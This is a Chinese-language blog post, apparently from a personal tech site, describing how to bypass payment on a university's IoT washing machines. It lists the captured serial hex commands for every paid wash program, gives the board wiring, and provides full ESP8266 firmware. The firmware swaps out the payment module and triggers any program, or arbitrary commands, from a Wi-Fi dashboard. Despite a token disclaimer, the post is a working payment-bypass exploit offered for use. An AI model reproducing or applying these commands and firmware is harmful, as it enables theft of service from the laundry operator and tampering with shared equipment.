记重庆邮电大学物联网洗衣机破解方法#

Warning

本博文仅供技术参考，请勿用于非法用途!!!

1. 破解原理#

重邮的物联网洗衣机本质上就是应该普通洗衣机，只是多了一个可以和控制板卡用串口通信的物联网模块而已。

所以，我们只需要获取启动洗衣机时物联网模块发送的数据，并再找一个同样可以进行串口通信的模块替换物联网模块就行。

flowchart LR subgraph 洗衣机本体["🧺 洗衣机本体"] direction TB ControlBoard["控制板卡 (主控MCU)"] Motor["电机/水泵/加热器等 (执行机构)"] Sensors["水位/温度/转速传感器 (数据采集)"] end subgraph 物联网部分["📡 物联网模块"] direction TB IoTModule["物联网通信模块 (WiFi/4G)"] Cloud["云端服务器 (重邮洗衣平台)"] MobileApp["手机APP (用户端)"] end subgraph 替换方案["🔧 替换方案"] CustomModule["自定义串口模块 (ESP32/Arduino等)"] end %% 原有连接关系 ControlBoard <-->|"UART/RS232/RS485 串口通信 启动指令/状态上报"| IoTModule IoTModule <-->|"HTTP/MQTT 网络通信"| Cloud Cloud <-->|"API接口"| MobileApp %% 洗衣机内部连接 ControlBoard -->|"GPIO/PWM 控制信号"| Motor Sensors -->|"ADC/Digital 传感器数据"| ControlBoard %% 替换方案连接 ControlBoard -.->|"相同串口协议 模拟原模块"| CustomModule %% 样式定义 style ControlBoard fill:#e1f5fe,stroke:#01579b,stroke-width:2px style IoTModule fill:#fff3e0,stroke:#e65100,stroke-width:2px style CustomModule fill:#e8f5e9,stroke:#2e7d32,stroke-width:2px,stroke-dasharray: 5 5 style Cloud fill:#f3e5f5,stroke:#6a1b9a,stroke-width:2px style MobileApp fill:#fce4ec,stroke:#c2185b,stroke-width:2px style 洗衣机本体 fill:#fafafa,stroke:#424242,stroke-width:1px style 物联网部分 fill:#fafafa,stroke:#424242,stroke-width:1px style 替换方案 fill:#fafafa,stroke:#424242,stroke-width:1px,stroke-dasharray: 5 5

2. 怎么获取物联网模块发送的指令#

必需品：CH340 USB-TTL 串口模块

原理： 每次扫描二维码付钱时，物联网模块就会向控制板卡的UATR发送指令，只要将物联网模块接入CH340 USB-TTL 串口模块，然后再给每一种洗衣服务都付一次钱就可以得到所有的指令。

但是这里我从大手子那里搞到了宿舍内洗衣机（不是公共洗衣机）所有的UATR指令：

波特率：2400

Hex	备注
AA 06 01 98 04 00 75 03	1元脱水
AA 06 01 98 03 01 D0 AC	3元快速洗
AA 06 01 98 02 02 B2 0D	4元标准洗
AA 06 01 98 02 02 B2 0A	4元标准洗（有6元加强洗的版本）
AA 06 01 98 01 03 51 C6	6元加强洗（第一部分）
AA 06 00 9F 01 03 09	6元加强洗（第二部分）

注意：6元加强洗的两部分连续发送

3. 物联网模块替代板卡的选择以及接线#

3.1 开发板选择#

这里我决定选用 ESP8266 开发板作为物联网模块的替代方案。该芯片集成硬件 UART 接口，并支持通过软件模拟额外串口；内置 Wi-Fi 无线通信能力，扩展性较强。此外，ESP8266 具备成本优势，且兼容 Arduino 开发框架，学习曲线平缓，适合快速原型开发。

3.2 接线#

以下是 Node MCU 与 洗衣机控制板卡 的线路连接

NodeMCU	洗衣机控制板卡
VCC	5V
GND	GND
TXD	RXD
RXD	TXD

以下是读取指令时 CH340 USB-TTL 与 洗衣机控制板卡 的线路连接（5V不接）

CH340 USB-TTL	洗衣机控制板卡
GND	GND
TXD	RXD
RXD	TXD

洗衣机控制板卡 引脚定义 ：

4. 自己画的板子#

这几天挺闲的，就用嘉立创EDA画了一块板子，直接接上就能用

4.1 原理图样例#

4.2 PCB样例#

5. 程序#

采用 PlaformIO 编写，适用于 NodeMCU 0.9 及 NodeMCU 1.0

5.1 串口部分#

1
const uint8_t CMD_1YUAN[]      = {0xAA, 0x06, 0x01, 0x98, 0x04, 0x00, 0x75, 0x03};
2
const uint8_t CMD_3YUAN[]      = {0xAA, 0x06, 0x01, 0x98, 0x03, 0x01, 0xD0, 0xAC};
3
const uint8_t CMD_4YUAN[]      = {0xAA, 0x06, 0x01, 0x98, 0x02, 0x02, 0xB2, 0x0D};
4
const uint8_t CMD_4YUAN_PLUS[] = {0xAA, 0x06, 0x01, 0x98, 0x02, 0x02, 0xB2, 0x0A};
5
const uint8_t CMD_6YUAN_1[]    = {0xAA, 0x06, 0x01, 0x98, 0x01, 0x03, 0x51, 0xC6};
6
const uint8_t CMD_6YUAN_2[]    = {0xAA, 0x06, 0x00, 0x9F, 0x01, 0x03, 0x09};
7

8
void sendCmd(const uint8_t* data, size_t len) {
9
    Serial.write(data, len);
10
    Serial.flush();
11
}

5.2 DashBoard部分#

1
ESP8266WebServer server(80);
2

3
void handleRoot() {
4
    server.send(200, "text/html", R"rawliteral(
5
<!DOCTYPE html>
6
<html>
7
<head>
8
<meta charset="UTF-8">
9
<meta name="viewport" content="width=device-width, initial-scale=1.0">
10
<title>洗衣机控制</title>
11
<style>
12
*{margin:0;padding:0;box-sizing:border-box}
13
body{font-family:-apple-system,BlinkMacSystemFont,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;padding:20px}
14
.container{max-width:400px;margin:0 auto;background:rgba(255,255,255,0.95);border-radius:20px;padding:30px;box-shadow:0 20px 60px rgba(0,0,0,0.3)}
15
h1{text-align:center;color:#333;margin-bottom:30px;font-size:24px}
16
.btn-grid{display:grid;gap:15px;margin-bottom:30px}
17
button{padding:18px;border:none;border-radius:12px;font-size:16px;font-weight:600;cursor:pointer;transition:all 0.3s;color:white;text-shadow:0 1px 2px rgba(0,0,0,0.2)}
18
button:active{transform:scale(0.95)}
19
.btn-1{background:linear-gradient(135deg,#f093fb 0%,#f5576c 100%)}
20
.btn-3{background:linear-gradient(135deg,#4facfe 0%,#00f2fe 100%)}
21
.btn-4{background:linear-gradient(135deg,#43e97b 0%,#38f9d7 100%)}
22
.btn-4p{background:linear-gradient(135deg,#fa709a 0%,#fee140 100%)}
23
.btn-6{background:linear-gradient(135deg,#30cfd0 0%,#330867 100%)}
24
.custom-section{border-top:2px dashed #ddd;padding-top:25px}
25
.custom-section h3{color:#666;margin-bottom:15px;font-size:14px;text-transform:uppercase;letter-spacing:1px}
26
textarea{width:100%;padding:12px;border:2px solid #e0e0e0;border-radius:8px;font-family:monospace;font-size:14px;resize:vertical;min-height:60px;margin-bottom:10px}
27
textarea:focus{outline:none;border-color:#667eea}
28
.btn-send{width:100%;background:#333;color:white}
29
.status{text-align:center;margin-top:15px;padding:10px;border-radius:8px;font-size:14px;opacity:0;transition:opacity 0.3s}
30
.status.show{opacity:1}
31
.status.success{background:#d4edda;color:#155724}
32
.status.error{background:#f8d7da;color:#721c24}
33
</style>
34
</head>
35
<body>
36
<div class="container">
37
<h1>🧺 洗衣机控制面板</h1>
38
<div class="btn-grid">
39
<button class="btn-1" onclick="send('1')">1元脱水</button>
40
<button class="btn-3" onclick="send('3')">3元快速洗</button>
41
<button class="btn-4" onclick="send('4')">4元标准洗</button>
42
<button class="btn-4p" onclick="send('4p')">4元标准洗(加强版)</button>
43
<button class="btn-6" onclick="send('6')">6元加强洗</button>
44
</div>
45
<div class="custom-section">
46
<h3>自定义指令 (十六进制)</h3>
47
<textarea id="custom" placeholder="AA 06 01 98..."></textarea>
48
<button class="btn-send" onclick="sendCustom()">发送自定义指令</button>
49
</div>
50
<div id="status" class="status"></div>
51
</div>
52
<script>
53
function show(msg,err){const e=document.getElementById('status');e.textContent=msg;e.className='status show '+(err?'error':'success');setTimeout(()=>e.className='status',2000)}
54
async function send(t){try{await fetch('/'+t,{method:'POST'});show('已发送')}catch(e){show('失败',1)}}
55
async function sendCustom(){const d=document.getElementById('custom').value.trim();if(!d)return;try{await fetch('/custom',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'d='+encodeURIComponent(d)});show('已发送')}catch(e){show('失败',1)}}
56
</script>
57
</body>
58
</html>
59
)rawliteral");
60
}

5.3 配置部分#

1
#include <Arduino.h>
2
#include <ESP8266WiFi.h>
3
#include <ESP8266WebServer.h>
4
#include <LittleFS.h>
5

6
#define BAUD_RATE 2400
7

8
const char* SSID = "WashingMachine";
9
const char* PASSWORD = "12345678";
10
IPAddress localIP(172, 16, 0, 1);
11
IPAddress gateway(172, 16, 0, 1);
12
IPAddress subnet(255, 255, 255, 0);

5.4 Setup 和 Loop#

1
void setup() {
2
    Serial.begin(BAUD_RATE);
3
    delay(1000);
4

5
    LittleFS.begin();
6

7
    WiFi.softAPConfig(localIP, gateway, subnet);
8
    WiFi.softAP(SSID, PASSWORD);
9

10
    server.on("/", handleRoot);
11
    server.on("/1", HTTP_POST, [](){ sendCmd(CMD_1YUAN, sizeof(CMD_1YUAN)); server.send(200); });
12
    server.on("/3", HTTP_POST, [](){ sendCmd(CMD_3YUAN, sizeof(CMD_3YUAN)); server.send(200); });
13
    server.on("/4", HTTP_POST, [](){ sendCmd(CMD_4YUAN, sizeof(CMD_4YUAN)); server.send(200); });
14
    server.on("/4p", HTTP_POST, [](){ sendCmd(CMD_4YUAN_PLUS, sizeof(CMD_4YUAN_PLUS)); server.send(200); });
15
    server.on("/6", HTTP_POST, [](){
16
        sendCmd(CMD_6YUAN_1, sizeof(CMD_6YUAN_1));
17
        delay(100);
18
        sendCmd(CMD_6YUAN_2, sizeof(CMD_6YUAN_2));
19
        server.send(200);
20
    });
21
    server.on("/custom", HTTP_POST, [](){
22
        String hex = server.arg("d");
23
        hex.replace(" ", "");
24
        for(size_t i=0; i<hex.length(); i+=2) {
25
            if(i+1 < hex.length()) {
26
                String b = hex.substring(i, i+2);
27
                Serial.write((uint8_t)strtol(b.c_str(), NULL, 16));
28
            }
29
        }
30
        Serial.flush();
31
        server.send(200);
32
    });
33

34
    server.begin();
35
}
36

37
void loop() {
38
    server.handleClient();
39
}

6. 结尾#

没有了喵，谢谢欣赏

音乐

记重庆邮电大学物联网洗衣机破解方法#

1. 破解原理#

2. 怎么获取物联网模块发送的指令#

3. 物联网模块替代板卡的选择以及接线#

3.1 开发板选择#

3.2 接线#

4. 自己画的板子#

4.1 原理图样例#

4.2 PCB样例#

5. 程序#

5.1 串口部分#

5.2 DashBoard部分#

5.3 配置部分#

5.4 Setup 和 Loop#

6. 结尾#

文章分享

评论区

目录

音乐

[Auto CQUPT Plan] 免费洗衣机

记重庆邮电大学物联网洗衣机破解方法#

1. 破解原理#

2. 怎么获取物联网模块发送的指令#

3. 物联网模块替代板卡的选择以及接线#

3.1 开发板选择#

3.2 接线#

4. 自己画的板子#

4.1 原理图样例#

4.2 PCB样例#

5. 程序#

5.1 串口部分#

5.2 DashBoard部分#

5.3 配置部分#

5.4 Setup 和 Loop#

6. 结尾#

文章分享

评论区

目录